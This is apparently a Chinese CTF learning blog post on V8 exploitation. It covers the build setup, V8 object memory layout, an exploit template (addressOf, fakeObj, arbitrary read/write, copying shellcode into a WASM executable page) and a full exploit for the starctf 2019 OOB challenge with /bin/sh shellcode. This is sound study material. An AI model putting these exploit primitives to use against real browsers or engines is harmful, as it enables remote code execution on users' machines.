Chrome v8漏洞分析
Chrome v8
前几天在7resp4ss师傅的推荐下,准备学习一波v8漏洞。
在这里记录一下漏洞分析过程
什么是v8#
首先我们需要知道v8是什么
----以下内容来自维基百科
V8是一个由Google开发的开源JavaScript引擎,用于Google Chrome及Chromium中[3],项目以V8发动机其命名。此项目由Lars Bak主导开发。
V8在执行之前将JavaScript编译成了机器代码,而非字节码或是解释执行它,以此提升性能。更进一步,使用了如内联缓存(inline caching)等方法来提高性能。有了这些功能,JavaScript程序与V8引擎的速度媲美二进制编译。[6]
传统的Javascript是动态语言,又可称之为Prototype-based Language,JavaScript继承方法是使用prototype,透过指定prototype属性,便可以指定要继承的目标。属性可以在运行时添加到或从对象中删除,引擎会为执行中的物件建立一个属性字典,新的属性都要透过字典查找属性在内存中的位置。V8为object新增属性的时候,就以上次的hidden class为父类别,创建新属性的hidden class的子类别,如此一来属性访问不再需要动态字典查找了。
为了缩短由垃圾回收造成的停顿,V8使用stop-the-world, generational, accurate的垃圾回收器[7]。在执行回收之时会暂时中断程序的执行,而且只处理物件堆栈。还会收集内存内所有物件的指针,可以避免内存溢出的情况。V8汇编器是基于Strongtalk汇编器。
我们可以看到在对v8引擎的解释中,特意强调了v8收集了内存中所有的指针避免了内存溢出。那么我们该如何去攻击提权呢,抱着这样的疑问,我们开始对漏洞进行逐步分析
环境搭建#
首先需要准备一个Ubuntu18.04版本的虚拟机,由于v8的网址在外网,所以接着就是配置VMware的代理,参考这个文章
也可以用命令行git config --global --edit
对git代理进行配置
dependence#
sudo apt install bison cdbs curl flex g++ git python vim pkg-config
depot_tools#
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc
ninja#
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
v8#
fetch v8
./v8/build/install-build-deps.sh --no-chromeos-fonts
编译任意版本的脚本
VER=$1
if [ -z $2 ];then
NAME=$VER
else
NAME=$2
fi
cd v8
git reset --hard $VER
gclient sync -D
gn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_$NAME.release d8
执行该脚本加上版本参数即可编译v8
最后编译成功输出的位置在./out/x64_9.6.180.6.debug/d8
gdb#
-
pwndbg#
刚开始用Ubuntu18.04直接安装pwndbg,但是在过程中发生报错。
之后查了以下github发现最新版本的pwndbg已经不支持Ubuntu18.04 python3.6.9了
于是乎我们直接下载最后一版适用Ubuntu18.04的版本(必须要用git clone,否则会报错)
cd ~ && git clone https://github.com/pwndbg/pwndbg.git --branch 2023.07.17 --depth 1
接下来使用setup.sh进行安装(如果是刚安装的Ubuntu,建议先更新以下pip3或者安装pwntools,让用户目录下有.local/lib/python3.6/site-packages/pwnlib
目录)
-
pwngdb#
cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git
cp ~/Pwngdb/.gdbinit ~/
#将.gdbinit文件中加入一行source /home/hacker/pwndbg/gdbinit.py
#将v8相关的gdb配置文件加入.gdbinit中
$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8
docker#
sudo apt-get update
#sudo apt-get remove docker docker-engine docker.io
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
众所周知,研究v8漏洞的朋友,做的最痛苦的事情应该就是回滚不同版本的v8引擎了。
为了解决这一难题,docker便应运而生,docker号称一次编译,处处运行,那可不是吹的。
-----此方法来自大神Hcamael
因此我们可以使用docker来存储我们每次编译的v8版本状态
首先克隆一个docker-v8项目
git clone https://github.com/andreburgaud/docker-v8.git
修改Makefile
$ cat Makefile
TAG:=$(tag)
IMAGE:=hcamael/v8
default: help
help:
@echo 'V8/D8 ${TAG} Docker image build file'
@echo
@echo 'Usage:'
@echo ' make clean Delete dangling images and d8 images'
@echo ' make build Build the d8 image using local Dockerfile'
@echo ' make push Push an existing image to Docker Hub'
@echo ' make deploy Clean, build and push image to Docker Hub'
@echo ' make github Tag the project in GitHub'
@echo
build:
docker build --build-arg V8_VERSION=${TAG} -t ${IMAGE}:${TAG} .
clean:
# Remove containers with exited status:
docker rm `docker ps -a -f status=exited -q` || true
docker rmi ${IMAGE}:latest || true
docker rmi ${IMAGE}:${TAG} || true
# Delete dangling images
docker rmi `docker images -f dangling=true -q` || true
push:
docker push docker.io/${IMAGE}:${TAG}
docker tag ${IMAGE}:${TAG} docker.io/${IMAGE}:latest
docker push docker.io/${IMAGE}:latest
deploy: clean build push
github:
git push
git tag -a ${TAG} -m 'Version ${TAG}'
git push origin --tags
.PHONY: help build clean push deploy github
修改Dockerfile,这里记得将路径根据本地环境修改一下
$ cat Dockerfile
FROM debian:stable-slim
RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -yqq && \
DEBIAN_FRONTEND=noninteractive apt-get install curl rlwrap vim -yqq gdb && \
apt-get clean
ARG V8_VERSION=latest
ENV V8_VERSION=$V8_VERSION
LABEL v8.version=$V8_VERSION \
maintainer="test@admin.com"
WORKDIR /v8
COPY /out/x64_$V8_VERSION.release/d8 ./
COPY vimrc /root/.vimrc
COPY entrypoint.sh /
RUN chmod +x /entrypoint.sh && \
mkdir /examples && \
ln -s /v8/d8 /usr/local/bin/d8
ENTRYPOINT ["/entrypoint.sh"]
将之前build.sh生成的编译好的./out/x64_9.6.180.6.debug/d8
,out文件夹移动到docker-v8目录下
执行Makefile中的docker命令
sudo docker build --build-arg V8_VERSION=9.6.180.6 -t v8:9.6.180.6 .
删除镜像
docker rmi --force <镜像ID>#--force用于删除不掉的情况
启动镜像
sudo docker run -it v8:9.6.180.6#-it以交互的形式启动,不加这个参数会闪退
停止容器
docker stop <容器ID>
#如果出现问题
docker kill <容器ID>
JavaScript#
如果想研究v8内核,了解JavaScript代码底层实现是必不可少的一步。
我们通过gdb调试来逐步分析js类型对象的储存布局
首先在d8目录下编写一个简单的test.js
var a = [1,2,3];
%DebugPrint(a);
%SystemBreak();
用gdb调试得到a的地址
使用job查看以下该地址的内容
可以直观的看到a的内存布局,其中数组a的内容被存入elements中
- 这时候细心的朋友应该就问了:64位程序应该是8位对齐的,为啥这里面的地址都是以1或9结尾呢
这是由于JavaScript Core(WebKit JS引擎)使用了NaN-boxing将类型信息和变量内容存储在64位浮点内。v8使用标记指针来做到这点。同时由于64位对齐方式,导致二进制下指针的后两位将始终为0不会被使用。于是乎,v8便使用最后一位来表示某些类型信息。
例如:
对于指针,v8始终将最后一位设为1,如果该位为1,则表示我们正在处理指针。这也代表着如果我们想用指针必须要-1n。同时也解释了为什么我们在gdb调试的指针地址都是以1,9结尾
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1
对于小整数(SMI),最后一位将设置为0,这意味着32位系统上的小整数为31位长。
在64位系统上,它的工作略有不同 – SMI为32位,低32位始终设为0:
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 0
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 00000000000000000000000000000000
这也解释了为什么我们在gdb调试的时候job 指针地址-1,会被当做SMI
从上面的实验我们也能得到js中对象的内存布局
ArrayObject ---->-------------------------+
| map |
+------------------------+
| property |
+------------------------+
| elements 指针 |
| +
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+
其中第一个指针map(Hidden Class)指向的是对象的Map值,Map值用来描述对象的整个布局,这个指针很重要,我们之后进行漏洞利用都是依靠修改对象的map值来做到
第二个指针property指向该对象的属性。
第三个指针elements是指向对象元素的指针。即存储对象内容的指针。从某种角度上来说,对象元素的内容也是对象属性。那么就要问了,property,elements都是指向对象属性的,这两个有什么区别呢。
经查阅资料:
- 属性分为命名属性和可索引属性,命名属性存放在
Properties
中,可索引属性存放在Elements
中。 - 命名属性有三种不同的存储方式:对象内属性、快属性和慢属性,前两者通过线性查找进行访问,慢属性通过哈希存储的方式进行访问。
- 增加或删除可索引属性,不会引起隐藏类的变化,稀疏的可索引属性会退化为哈希存储。
目前我们只需要关注map和elements即可
通用模板#
做过pwner的童鞋应该知道,我们如果做normal栈溢出堆溢出,都是直接下载二进制文件,然后反编译看源码,找到源码中的漏洞,然后通过pwntools进行攻击,而我们接下来要研究的v8题目,和Linux内核漏洞相似题目都是将v8内核源代码进行修改,然后直接编写JavaScript代码产生漏洞提权。
简单的v8漏洞利用会有一个通用的模板思想,接下来我会逐个分析每个模块的内容。
addressOf函数:#
我们前面知道了对象的整个布局,既然每个对象的内存结构都一致,那我们使用a[0]或b[0]进行取值的时候,js是怎么判断结构类型的呢。经查阅,js是通过查看map的值来确定
那假如说,我们可以通过某种方式修改对象的map值,那我们是不是就能将对象数组转为浮点型数组
a[0] = c;(c是一个对象),正常来说取a[0]的值为对象c,但我们将其转为浮点型数组,再取a[0]得到的值便是对象c的地址。
由此,我们就可以做到任意对象地址读的效果。也就是addressOf的实现思想
fakeObj函数:#
既然我们能够将对象转为浮点型,那我们也可以将浮点型转为对象数组。
假设我们的到了对象e的地址addr,那么我该如何得到这个对象呢?首先我们将addr+1的值存入a[0],之后修改map值,再取a[0]得到的便是对象e。
至于说为啥要将addr+1,相信认真看了JavaScript章节内容的朋友都明白
read64函数:#
我们通过将浮点型转为对象数组不光可以得到已知的对象,还可以伪造我们自己编写的对象。
fake_array
var fake_array = [
double_array_map,
itof(0x4141414141414141n)
];
我们首先可以使用addressOf(fake_array)得到fake_array的地址,之后我们便可以根据调试得到fake_array真实存储元素的地址偏移,得到我们伪造的Object地址。之后通过fakeObj函数便可以得到我们伪造的对象。
这里可能有同学不太明白,为什么我们明明有了一个addressOf可以获取地址,还需要这个read函数。
这是因为我们之前addressOf得到的是指针的值。而read得到的是指针指向的指针的值,之后我们分析一道例题,仔细观察以下例题中read函数的用法即可。
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
其中地址大致如下
+---> elements +---> +---------------+
| | |
| +---------------+
| | |
| +---------------+ fakeObject +--------------+
| |fake_array[0] | +----------> | map |
| +---------------+ +--------------+ 想要 读 或 改 的
| |fake_array[1] | | prototype | 内 存
| +---------------+ +--------------+ +-------------+
| |fake_array[2] | | elements | +------> | |
| +---------------+ +--------------+ | |
| | | | | | |
| | | | | | |
| fake_array+--> +---------------+ | | | |
| | map | | | | |
| +---------------+ | | | |
| | prototype | +--------------+ | |
| +---------------+ | |
+--------------------+ elements | | |
+---------------+ | |
| length | | |
+---------------+ | |
| properties | | |
+---------------+ +-------------+
这里用一个小实例来看一下为啥需要addr-某个值
这个是我们构建的fake_array的内容
这个是我们想要泄露内容的double_array地址
write64:#
既然我们能够通过fake_object进行读取任意地址,那么我们也可以通过该数组进行任意写操作
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
WASM:#
既然我们能够任意地址读写了,那我们该想想怎么利用了,我们的目标是让程序执行shellcode。那我们首先得找到一个rwxp的内存区域来存放我们的shellcode。
我们找到JavaScript的一种技术WASM(webassembly),只有低版本有WASM高版本已经不支持了,可以让js直接执行高级语言生成的机器码
这个时候我们用wasm直接执行恶意机器码就可以攻击成功了~吗?当然没这么简单,WASM不允许通过浏览器直接调用系统函数。wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。
但这不妨碍我们通过上面学习的利用方式将WASM可执行代码段的内容篡改为shellcode。
我们用gdb调试尝试去找一下存放WASM代码的地址
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
得到f和wasmInstance的地址
我们来查看一下f的结构
可以发现结构中含有WASM instance的地址即代码中wasmInstance的地址
我们看一下shared_info的内容
再看一下data
可以发现f中shared_info中data中的instance就是wasmInstance,我们来查看一下内存
再查看一下instance
可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。
但成功的道路往往比较曲折,我们试验一下会发现当我们使用write写入shellcode的时候,会因为一些问题报错
例如:
- 因为JavaScript的语法机制问题,没法直接将shellcode写入地址中
- 我们内存中的地址不是连续的,可执行页-0x10是无效地址,没法将shellcode写到可执行页的起始地址
因此我们要另辟蹊径
copy_shellcode_to_rwx函数#
在JavaScript中有一个ArrayBuffer类可以作为二进制数据的容器,同时有一个接口DataView可以从ArrayBuffer对象中读写多种数据类型。因此,我们可以通过这个类和接口来实现写shellcode操作
我们来尝试一下
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
先看一下databuf的结构
再看一下其中backing_store的内存结构
2.0的十六进制为0x4000000000000000
,所以我们可以发现我们使用DataView存储2.0的位置在ArrayBuffer对象的backing_store属性中,那我们接下来看一下backing_store在ArrayBuffer对象内存结构中的偏移,这个根据环境不同而不同
可以发现backing_store在databuf+0x20的位置,接下来就可以使用write函数将其改为可执行页首地址,并写入shellcode了
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
模板EXP#
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
?
}
function addressOf(obj_to_leak)
{
?
}
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;
var fake_array = [
array_map,
itof(0x4141414141414141n)
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
接下来我便通过例题实战带大家明白其模板EXP的用法
starctf 2019 OOB#
环境搭建
$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8
(原作者这里说在build.sh
中,在git reset
命令后加一句git apply ../starctf2019/pwn-OOB/oob.diff
,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019
一键编译。但是我用脚本编译会报错,导致我浪费了很多时间,不知道是不是因为只能用x64_startctf.release
不能用x64_startctf2019.release
)
在ctf中浏览器内核相关的题目,会给一个.diff文件,告诉你修改了哪些内容。
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
这题给了一个oob函数,不知道是干嘛的,先测试一下
$ cat test.js
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
var a = [2.1];
var x = a.oob();
console.log("x is 0x"+hex(ftoi(x)));
%DebugPrint(a);
%SystemBreak();
a.oob(2.1);
%SystemBreak();
可以发现a.oob()的值为a的map值,继续调试
之后job a的地址发生了段错误,我们重新调试一下,这次使用x/16gx来调试
这是执行a.oob(2.1)之前
这是执行之后
我们发现其中map的值被改为了2.1的浮点数
既然有了漏洞点,那我们接下来就可以套模板写各种函数和EXP了,开写!
addressOf&&fakeObj#
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
read64&&write64#
//注意这里因为是旧版的v8,没有对地址进行压缩,所以map域和length域都占了64bit,因此这里需要进行些许修改
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
function read64(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
WASM#
我们调试一下程序去寻找一下instance和可执行页的偏移,具体如何找偏移在模板那节已经介绍过了,接下来就简述一下
我们找到instance的内存区域
再输入vmmap
可以发现可执行段在instance+0x88的位置,接下来便可以写完整的EXP了
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
double_array.oob(array_map); // 改回来,以便后续需要的时候使用
return faked_obj;
}
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}
function read64(addr)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr, ftoi(rwx_addr));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();
var fake_array = [
array_map,
itof(0n),
itof(0x41414141n),
itof(0x100000000n),
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
踩坑记录
1.在执行./configure.py --bootstrap
命令时发生报错
原因:没有安装C++编译器,执行以下命令便可解决
sudo apt-get install build-essential
2.执行pip太过缓慢导致安装不上,执行这条命令即可换源
pip3 install --upgrade pip
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple mlxtend
3.不知道为啥执行大神Hcamael的脚本编译oobninja会报错,可能是因为使用ninja进行编译时用带有数字的名字
总结
历时一周终于把v8入门文章给看完了,也学了很多,例如docker的使用,gdb对版本的限制...在第一次安装v8环境的时候,一定要保存快照,每成功一个阶段就保存一次,我在搭建环境的时候反反复复恢复快照,节约了不少时间(虽然后面又重新搞了一个Ubuntu,)。总之,虽然分析v8的过程是痛苦且煎熬的,但长路漫漫,相信自己会逐渐变强的!后面会持续更新v8的CVE分析
这边贴个大佬的博客激励下自己
参考:
环境搭建
docker
如何在Ubuntu 18.04上安装Docker_ubuntu18.04安装docker_ylfmsn的博客-CSDN博客
docker使用Dockerfile构建镜像启动项目。_镜像从本地导入,还需要执行dockerfile吗_宋忠瑾的博客-CSDN博客
JavaScript
V8 Bug Hunting 之 JS 类型对象的内存布局总结-安全客 - 安全资讯平台 (anquanke.com)
奇技淫巧学 V8 之二,对象在 V8 内的表达 - 知乎 (zhihu.com)
V8 小整数(smi)和指针 - 知乎 (zhihu.com)
V8 是怎么跑起来的 —— V8 中的对象表示 - 掘金 (juejin.cn)
通用模板
startctf-oob
作者:Esofar
出处:https://www.cnblogs.com/amof/p/17677925.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?